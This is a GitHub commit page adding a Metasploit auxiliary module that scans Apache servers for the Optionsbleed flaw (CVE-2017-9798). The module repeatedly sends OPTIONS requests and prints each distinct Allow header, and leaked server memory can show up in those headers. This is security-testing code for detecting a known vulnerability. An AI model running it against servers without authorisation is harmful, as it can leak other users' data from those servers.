Skip to content

Commit 0649d0d

Browse files
committed
wip optionsbleed
1 parent e8eeb78 commit 0649d0d

File tree

1 file changed

+74
-0
lines changed

1 file changed

+74
-0
lines changed
Lines changed: 74 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,74 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Auxiliary
7+
include Msf::Exploit::Remote::HttpClient
8+
include Msf::Auxiliary::Scanner
9+
include Msf::Auxiliary::Report
10+
11+
def initialize(info = {})
12+
super(update_info(info,
13+
'Name' => 'Apache Optionsbleed Scanner',
14+
'Description' => %q{
15+
This module scans for the Apache optionsbleed vulnerability where the Allow
16+
response header returned from an OPTIONS request may bleed memory if the
17+
server has a .htaccess file with an invalid Limit method defined.
18+
},
19+
'Author' => [
20+
'Hanno Bock', # Vulnerability discovery
21+
'h00die', # Metasploit module
22+
],
23+
'References' => [
24+
[ 'AKA', 'Optionsbleed' ],
25+
[ 'CVE', '2017-9798' ],
26+
[ 'EDB', '42745' ],
27+
[ 'URL', 'https://github.com/hannob/optionsbleed' ],
28+
[ 'URL', 'https://blog.fuzzing-project.org/60-Optionsbleed-HTTP-OPTIONS-method-can-leak-Apaches-server-memory.html' ]
29+
],
30+
'DisclosureDate' => 'Sep 18 2017',
31+
'License' => MSF_LICENSE
32+
))
33+
34+
register_options([
35+
OptInt.new('REPEAT', [true, 'Times to attempt', 40])
36+
])
37+
end
38+
39+
def get_allow_header(ip)
40+
res = send_request_raw({
41+
'version' => '1.1',
42+
'method' => 'OPTIONS',
43+
'uri' => '/'
44+
}, 10)
45+
if res
46+
if res.headers['Allow']
47+
return res.headers['Allow']
48+
else #now allow header returned
49+
fail_with(Failure::UnexpectedReply, "#{rhost}:#{rport} - No Allow header identified")
50+
end
51+
else
52+
fail_with(Failure::Unreachable, "#{rhost}:#{rport} - Failed to respond")
53+
end
54+
end
55+
56+
def run_host(ip)
57+
uniques = []
58+
for counter in 1..datastore['REPEAT']
59+
allows = get_allow_header(ip)
60+
vprint_status("#{counter}: #{allows}")
61+
if !uniques.include?(allows)
62+
uniques << allows
63+
print_good("New Unique Response on Request #{counter}: #{allows}")
64+
end
65+
end
66+
if uniques.length > 1
67+
print_good('More than one Accept header received. Most likely vulnerable')
68+
uniques.each do |allow|
69+
print_good("#{allow}")
70+
end
71+
end
72+
end
73+
74+
end

0 commit comments

Comments
 (0)